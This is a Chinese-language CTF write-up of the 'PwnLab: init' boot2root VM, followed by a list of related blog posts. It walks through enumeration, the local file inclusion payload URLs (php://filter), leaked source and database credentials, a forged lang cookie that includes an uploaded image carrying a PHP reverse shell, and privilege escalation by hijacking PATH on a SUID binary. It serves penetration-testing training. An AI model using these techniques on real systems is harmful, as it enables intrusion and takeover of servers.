靶机说明:

Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.

Can contact me at: claor@pwnlab.net or on Twitter: @Chronicoder

  • Difficulty: Low
  • Flag: /root/flag.txt

渗透过程:

本次依然采用parrot linux+windows10来作为攻击机器,都在一个网段下,

攻击机IP为:192.168.0.105

既然是同一局域网,我们先用nmap扫出靶机地址:

得到靶机的IP地址为:192.168.0.106

我们用nmap对这个靶机进行深度扫描:

发现开放了三个端口:80,111,3306

也发现不少服务:Apache,mysql,rpc

我们访问靶机主页:http://192.168.0.106

我们先不着急点击页面,我们先查看源代码:

我们用dirb查看一下目录,看有什么发现:

后三个index.php,login.php,upload.php我们都已经见过,

访问这个config.php:

一片空白...

我们切入正题,看这个index.php:

有一句话:Use this server to upload and share image files inside the intranet

翻译:使用此服务器在内部网中上传和共享图像文件

让我更坚信这里存在文件包含漏洞

我们先看这个login:

普通的登陆框,也没有验证码,经过尝试发现弱口令,万能密码不行,

我们用sqlmap尝试一下:

emmm...sqlmap好像也没有跑成功,但一想也是,page这里虽然接受的是一个

get参数,但这是用来接受.php文件,并且include()到当前php文件中.

我们看一下upload这个页面:

提示必须先登录,不过我们看这个url有个/?page=upload

应为我以前遇到过这种形式,所以我推测是文件包含:

(具体看我之前的博客:http://www.cnblogs.com/bmjoker/p/8877336.html)

我们先用最基本的来尝试:

  • http://192.168.0.106/?page=/etc/passwd
  • http://192.168.0.106/?page=../etc/passwd
  • http://192.168.0.106/?page=../../etc/passwd
  • ......
  • http://192.168.0.106/?page=../../../../../../etc/passwd

发现这些都不起作用.

我们只有用伪协议来尝试得到index的源代码:

  • http://192.168.0.106/?page=php://filter/read=convert.base64-encode/resource=index

这是一串base64编码,我们尝试解码:

我们得到了index.php代码:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="data:images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>

这样一段代码引起了我的注意:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>

这里同时也存在文件包含漏洞,如果我们设置一个名称为 lang 的文件上传路径的cookie,到时候就可以直接被包含在内。

同时我们也看到了文件包含的代码:

<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>

我们顺便读出upload.php:

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= ) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
} if(strpos($filetype,'image') === false) {
die('Error 001');
} if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
} if(substr_count($filetype, '/')>){
die('Error 003');
} $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
} ?>

login.php

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']); $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass); $stmt->execute();
$stmt->store_Result(); if ($stmt->num_rows == )
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}

我记得我们开始的时候用dirb扫除了一个config.php文件,我们趁机读出它:

我们解码分析:

我们发现mysql数据库的用户密码

$server      = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

同时这个靶机还开了3306数据库默认端口,我们直接进去:

我们可以得到用户跟密码:

  • kent:JWzXuBJJNy
  • mike:SIfdsTEn6I
  • kane:iSv5Ym2GRo

我们尝试登陆:

发现是一个文件上传,文件上传的话,就是构造一个马,然后用各种文件上传的骚姿势

,只要传到服务器上就行,我们先来分析一下upload.php看有什么限制:

我们可以使用白名单+MIME类型的修改+重命名+文件后缀检测就可以成功绕过!

但是有一个函数getimagesize()能够有效的确认上传文件是一个图像,所以,大部分的上传

方法都会失效,唯一的方法就是上传一个真实的图片通过那些验证,而不是绕过,我们在

图片里嵌入我们的php-reverse-shell的反弹shell的木马,就可以监听利用。

既然分析得差不多,我们来构造我们的图片马3.gif:

其中GIF89a是文件头,用来绕过类型检查,

(各种文件头:https://en.wikipedia.org/wiki/List_of_file_signatures)

我们尝试上传:

上传成功!上传路径为   http://192.168.0.106/upload/068ae40523a24c9ef54edefd375e542d.gif

我们虽然可以上传成功,但他是gif类型的,我们的反弹shell的木马不会被解析,也就不能使用。‘

这时候我们想到了,之前分析的index.php中的另一个关于cookie的文件包含:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>

这样我们可以设置lang,伪造cookie,这样的话就可以直接包含我们的图片马,

cookie伪造:cookie:lang=../upload/068ae40523a24c9ef54edefd375e542d.gif

这样就可以成功解析我们的反弹shell的php代码,同时在kali里面设置监听:

然后我们抓包,修改cookie:

然后我们forward,把这个数据包发出去,cookie也就包含了这个带有反弹shell的图片马

同时也会解析这个php图片马,反弹shell:

成功反弹shell,

我们尝试登陆kent用户:

.....可利用地方不多,看下一个人kane,我们登陆kane:

在kane的/home目录下发现了一个文件msgmike:

我们找一下标识位suid为kane的用户,也发现了这个msgmike文件:

使用file命令查看下这个文件:

从截图可以看到,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了:

通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件,

针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含:

然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,

则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来

读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限:

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),

我们就会提升到mike权限:

我们在/home/mike这个目录里面发现了这样一个文件夹:

这或许能让我们提升到root权限,我们运行,发现了一个root权限

的/bin/bash会话:

20. CTF综合靶机渗透(十三)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. 19. CTF综合靶机渗透(十二)

    靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...

  6. 14. CTF综合靶机渗透(七)

    靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...

  7. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  8. 8. CTF综合靶机渗透(一)

    靶机说明 虚拟机难度中等,使用ubuntu(32位),其他软件包有: PHP apache MySQL 目标 Boot to root:从Web应用程序进入虚拟机,并获得root权限. 运行环境 靶机 ...

  9. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

随机推荐

  1. 20145229 《Java程序设计》第10周学习总结

    20145229 <Java程序设计>第10周学习总结 教材学习内容总结 Java网络编程技术 数据交换 在计算机网络中,现在命名IP地址的规定是IPv4协议,该协议规定每个IP地址由4个 ...

  2. 吴恩达机器学习笔记(四) —— BP神经网络

    主要内容: 一.模型简介 二.一些变量所代表的含义 三.代价函数 四.Forward Propagation 五.Back Propagation 六.算法流程 待解决问题: 视频中通过指出:当特征变 ...

  3. 算法(Algorithms)第4版 练习 1.5.9

    不可能.如果是weighted quick-union的话,6的父节点应该是5,而不是5的父节点是6.

  4. SpringCloud-服务的消费者(Feign)

    Feign简介 Feign是一个声明式的伪Http客户端,它是的写Http客户端变得更简单.使用Feign,只需要创建一个接口并注解.它具有可插拔的注解特性,可使用Feign注解和JAX-RS注解.F ...

  5. STL中流相关的输入输出符和get函数彻底总结:cin、cin.get()、cin.getline()、getline()、gets()等函数的用法

    我的总结: [首先:对于流来说,就把流看成一个中转的仓库,对流进行<<运算或>>运算或者get函数的运算都是指,把“流”中的数据“运送”到“内存变量”中去,还是把内存变量中的数 ...

  6. Hibernate技术

    Hibernate中3个重要的类: 配置类(configuration) 负责管理Hibernate的配置信息,包含数据库连接URL.数据库用户.数据库密麻麻.数据库驱动等. 会话工厂类(Sessio ...

  7. C# Winform 基于Task的异步与延时执行

    一.Task的机制   Task位于命名空间System.Threading.Tasks中,是.NET 4.0加入的新模块,其实现机制大致类似于线程池ThreadPool,不过对于ThreadPool ...

  8. JavaUtil_06_HttpUtil_使用httpclient实现

    一.简介 使用 appache 的 httpclient 来实现的 二.源码 package com.ray.weixin.gz.util; import java.io.File; import j ...

  9. tomcat报错:Wrapper cannot find servlet class ...

    tomcat发布工程时,在浏览器输入正确的地址,遇到如下问题: HTTP Status 500 - javax.servlet.ServletException: Wrapper cannot fin ...

  10. Ffmpeg转码研究一

    Ffmpeg是一款功能强大的视频处理工具,那么转码肯定不是问题的,因为项目的需求,对转码进行了研究.刚开始首先去看了ffmpeg源代码中的一个例子transcode.c,但是发现该例子更应该称之为re ...